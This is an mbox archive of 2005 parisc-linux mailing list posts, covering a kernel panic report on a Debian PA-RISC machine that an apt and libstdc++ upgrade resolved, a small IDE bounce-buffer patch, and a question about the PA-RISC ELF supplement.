	by colo.lackof.org (Postfix) with ESMTP id 9E832360064;
	Sat,  6 Aug 2005 12:43:48 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14800-06; Sat, 6 Aug 2005 12:43:48 -0600 (MDT)
Original-Received: from cyrix.home.bogus (63-231-52-158.tukw.qwest.net [63.231.52.158])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org", Issuer "ca.lackof.org" (verified OK))
	by colo.lackof.org (Postfix) with ESMTP id A8691360055;
	Sat,  6 Aug 2005 12:43:47 -0600 (MDT)
Original-Received: by cyrix.home.bogus (Postfix, from userid 22223)
	id 0C7681AA7DF; Sat,  6 Aug 2005 11:38:34 -0700 (PDT)
Original-Received: from cyrix.home.bogus (localhost [127.0.0.1])
	by cyrix.home.bogus (Postfix) with ESMTP id 0398230593;
	Sat,  6 Aug 2005 11:38:34 -0700 (PDT)
X-Mailer: exmh version 2.7.2 01/07/2005 (debian 1:2.7.2-6) with nmh-1.1
In-reply-to: <1123274838.9036.57.camel@krebs.dannf> 
Comments: In-reply-to dann frazier <dannf@hp.com>
	message dated "Fri, 05 Aug 2005 14:47:18 -0600."
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 42aHYn0/eSEkT76WZHQhaXN1IGRvbwBX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23033


dann frazier writes...

> On Fri, 2005-08-05 at 15:53 -0400, Carlos O'Donell wrote:
> > On Thu, Aug 04, 2005 at 07:17:18PM -0600, dann frazier wrote:
> > > fyi, paer.debian.org was reported down.  The GSP's console log
> > > follows.  
> > > 
> > > dannf@paer:~$ uname -a
> > > Linux paer 2.6.8-2-64 #1 Tue Feb 8 05:54:00 EST 2005 parisc64 GNU/Linux
> > 
> > No register dump? That is the most interesting and usefull piece of
> > information :(
> 
> Yeah; we really should be logging the console while its acting up...
> I'll try to set that up.

I can repeatably cause a kernel panic on paer now. The machine is running the 
Debian kernel-image-2.6.8-2-64 version 2.6.8-6 package. When I tried to run 
apt-get upgrade in an unstable chroot I got the following on the console,

=====================================================================
mm/memory.c:368: bad pmd 10555830.
mm/memory.c:110: bad pmd 000ec7f8.
mm/memory.c:110: bad pmd 000df000.
mm/memory.c:110: bad pmd 00000040.
mm/memory.c:110: bad pmd 00000063.
mm/memory.c:110: bad pmd 00000010.
mm/memory.c:110: bad pmd 00000010.
mm/memory.c:110: bad pmd 00200200.
mm/memory.c:110: bad pmd 00000001.
mm/memory.c:110: bad pmd fde77ea0.
kernel BUG at include/asm/mmzone.h:85!
Backtrace:
 [<00000000101164d8>] dump_stack+0x18/0x28
 [<000000001017b770>] clear_page_tables+0x2b0/0x380
 [<0000000010184194>] exit_mmap+0xf4/0x278
 [<00000000101420f4>] mmput+0x9c/0xd8
 [<0000000010147994>] do_exit+0x174/0x580
 [<0000000010147e48>] do_group_exit+0x50/0x108
 [<000000001015290c>] get_signal_to_deliver+0x314/0x4f0
 [<000000001011e0d4>] do_signal+0x3c/0x2a8
 [<00000000101072c8>] intr_do_signal+0x2c/0x34

Backtrace:
 [<0000000010184194>] exit_mmap+0xf4/0x278
 [<00000000101420f4>] mmput+0x9c/0xd8
 [<0000000010147994>] do_exit+0x174/0x580
 [<0000000010147e48>] do_group_exit+0x50/0x108
 [<000000001015290c>] get_signal_to_deliver+0x314/0x4f0
 [<000000001011e0d4>] do_signal+0x3c/0x2a8
 [<00000000101072c8>] intr_do_signal+0x2c/0x34


Bad Address (null pointer deref?): Code=15 regs=00000000fde74600 
(Addr=c00000790
256929f)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001011100000001111 Not tainted
r00-03  0000000000000000 0000000010555670 000000001017b770 00000000000000ff
r04-07  00000000104e6800 00000000fde78064 fffffff90256929f 0000000000000019
r08-11  00000000fde7a000 0000000010407df0 0000000010376230 0000000010578f50
r12-15  000000001055a100 00000000fde78000 00000000800 0000000000000002
r16-19  00000000ff14ee98 0000000000000003 0000000000000003 00000000000000e5
r20-23  0000000000000001 000000000800000f 00000000210c4327 000000000800000f
r24-27  ffffffffffffffff 0000000000000001 0000000010493fe8 00000000104e6800
r28-31  0000000000000001 00000000fde74980 00000000fde74600 0000000010573e58
sr0-3   0000000000006800 0000000000000000 0000000000000000 0000000000063000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001017b61c 000000001017b620
 IIR: 0cc010d3    ISR: 000000003fffff80  IOR: c00000790256929f
 CPU:        0   CR30: 00000000fde74000 CR31: 00000000104ac000
 ORIG_R28: 0000000010144e5c
 IAOQ[0]: clear_page_tables+0x15c/0x380
 IAOQ[1]: clear_page_tables+0x160/0x380
 RP(r2): clear_page_tables+0x2b0/0x380
Kernel panic: Bad Address (null pointer deref?)
=====================================================================

We're running this kernel based on the recommendation of this list that it's 
the most stable, but I'm willing to try other versions if people have 
recommendations. Eventually we'd like whatever fixes this to be put in the 
Debian stable kernel-image package so we can keep using that version and count 
on security updates.

It might be good if someone can try and repeat on another machine, in case the 
problem is something with paer specifically.

Thanks,

--
Matt Taggart
taggart@debian.org


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Sat, 06 Aug 2005 13:43:52 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20050806204352.F1B4A1AA7B5@cyrix.home.bogus>
References: <1123204638.3628.132.camel@krebs.dannf> 
	<20050805195306.GS9703@systemhalted.org>
	<1123274838.9036.57.camel@krebs.dannf>
	<20050806183834.0C7681AA7DF@cyrix.home.bogus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623885 16029 80.91.229.3 (22 Nov 2014 02:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 20:44:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 06 Aug 2005 22:44:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C8347D6E1;
	Sat,  6 Aug 2005 14:43:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23071-10; Sat, 6 Aug 2005 14:43:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 610427D6E2;
	Sat,  6 Aug 2005 14:43:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 691FB7D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 14:43:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23071-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 14:43:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id CCA0E7D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 14:43:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E769F360064
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 14:49:06 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24470-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 14:49:06 -0600 (MDT)
Original-Received: from cyrix.home.bogus (63-231-52-158.tukw.qwest.net [63.231.52.158])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "taggart.lackof.org", Issuer "ca.lackof.org" (verified OK))
	by colo.lackof.org (Postfix) with ESMTP id 71BE6360055
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 14:49:06 -0600 (MDT)
Original-Received: by cyrix.home.bogus (Postfix, from userid 22223)
	id F1B4A1AA7B5; Sat,  6 Aug 2005 13:43:52 -0700 (PDT)
Original-Received: from cyrix.home.bogus (localhost [127.0.0.1])
	by cyrix.home.bogus (Postfix) with ESMTP id EAC9B2FE9C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 13:43:52 -0700 (PDT)
X-Mailer: exmh version 2.7.2 01/07/2005 (debian 1:2.7.2-6) with nmh-1.1
In-reply-to: <20050806183834.0C7681AA7DF@cyrix.home.bogus> 
Comments: In-reply-to Matt Taggart <matt@lackof.org>
	message dated "Sat, 06 Aug 2005 11:38:33 -0700."
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RUSHYjcmeSEkSr6WZHQhaXN1IGRvb0AB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23034


Matt Taggart writes...

> I can repeatably cause a kernel panic on paer now. The machine is running the
>  
> Debian kernel-image-2.6.8-2-64 version 2.6.8-6 package. When I tried to run 
> apt-get upgrade in an unstable chroot I got the following on the console,

I had a hunch that this problem was something to do with the apt in the 
unstable chroot so I tried some things to fix it.

First, using aptitude upgrade instead caused a crash as well, no surprise.

Second, I suspected that the problem might be a c++ issue, so I used dpkg to 
upgrade a few things by hand. After just upgrading libstdc++6 from 4.0.1-2 to 
4.0.1-3 the apt-get upgrade to no longer crashed the machine, but it still 
segfaulted. I then upgraded apt/apt-utils to 0.6.39 and now apt-get upgrade 
seems to work fine.

So paer is fixed, but apt shouldn't have been able to crash the kernel so it 
still might be nice to figure out why. I think the test case should be easy to 
replicate for someone who wanted to try and figure out why.

Thanks,

-- 
Matt Taggart
taggart@debian.org


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Why toggle_bounce only for disks?
Date: Sat, 6 Aug 2005 19:56:15 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20050806235615.GK3505__6988.44505609504$1416623885$gmane$org@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623885 16033 80.91.229.3 (22 Nov 2014 02:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-ide@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 23:57:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 07 Aug 2005 01:57:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8382F7D6DB;
	Sat,  6 Aug 2005 17:57:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23677-09; Sat, 6 Aug 2005 17:57:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB6857D6DD;
	Sat,  6 Aug 2005 17:57:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E55677D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 17:57:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23677-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 17:57:40 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 5D3C27D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 17:57:40 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 45EC117050;
	Sat,  6 Aug 2005 19:57:39 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03763-10; Sat, 6 Aug 2005 19:57:28 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 325EE1707B; Sat,  6 Aug 2005 19:57:28 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-1338662867-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123372618-0313350187649-v4.0.10
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KyuHYtNHeSEkT76WZHQhaXN1IGRvb8A2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23035

Ahoi,

The following patch fixes a crash caused by attempting to bounce buffer
when an IDE CD-ROM is used on a machine with an IO-MMU. [At least, this
patch fixes things so I can use my IDE CD-ROM behind an ns87415 on a 
HP PA-RISC workstation.]

Why was this only allowed for disks?

--- a/drivers/ide/ide-lib.c   18 Jul 2005 18:46:30 -0000
+++ b/drivers/ide/ide-lib.c   6 Aug 2005 20:28:04 -0000
@@ -410,7 +410,7 @@ void ide_toggle_bounce(ide_drive_t *driv
 {
        u64 addr = BLK_BOUNCE_HIGH;     /* dma64_addr_t */
 
-       if (on && drive->media == ide_disk) {
+       if (on) {
                if (!PCI_DMA_BUS_IS_PHYS)
                        addr = BLK_BOUNCE_ANY;
                else if (HWIF(drive)->pci_dev)

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Processor-Specific ELF Supplement for PA-RISC
Date: Sun, 7 Aug 2005 14:33:04 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200508071833.j77IX5ZO028505@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623885 16037 80.91.229.3 (22 Nov 2014 02:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Aug 2005 18:33:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 07 Aug 2005 20:33:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBF247D693;
	Sun,  7 Aug 2005 12:33:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31806-04; Sun, 7 Aug 2005 12:33:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13FA47D68F;
	Sun,  7 Aug 2005 12:33:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B85D7D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 12:33:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31806-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 12:33:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id ED3767D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 12:33:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j77IX5nV028508 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 14:33:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j77IX5ZO028505
	for parisc-linux@lists.parisc-linux.org;
	Sun, 7 Aug 2005 14:33:05 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vTaEYmpqeSEkar6WZHQhaXN1IGRvb8AH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23036

I noticed recently that HP has updated various defines for ELF under
HP-UX which are not documented in the ELF supplement.  I was wondering
if the supplement has been updated.  The last version that I can find
is version 1.5, August 20, 1998.  Some of these updates might also be
applicable to ia64.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Processor-Specific ELF Supplement for PA-RISC
Date: Sun, 7 Aug 2005 19:25:43 -0400
Organization: wh0rd.org
Lines: 18
Approved: news@gmane.org
Message-ID: <200508071925.44003.vapier@gentoo.org>
References: <200508072231.j77MVbrW029457@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623885 16039 80.91.229.3 (22 Nov 2014 02:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Aug 2005 23:25:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 08 Aug 2005 01:25:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 21EFD7D6C4;
	Sun,  7 Aug 2005 17:25:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01050-01; Sun, 7 Aug 2005 17:25:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D40C37D6BC;
	Sun,  7 Aug 2005 17:25:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5B37D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 17:25:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00694-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 7 Aug 2005 17:25:37 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id AA9E97D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Aug 2005 17:25:37 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=home.wh0rd.org)
	by smtp.gentoo.org with esmtp (Exim 4.43) id 1E1uWP-0005px-2K
	for parisc-linux@lists.parisc-linux.org; Sun, 07 Aug 2005 23:25:37 +0000
Original-Received: (qmail 26672 invoked from network); 7 Aug 2005 20:22:53 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 7 Aug 2005 20:22:53 -0400
User-Agent: KMail/1.8.2
In-Reply-To: <200508072231.j77MVbrW029457@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K/2EYrtueSEkUb6WZHQhaXN1IGRvbwBT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
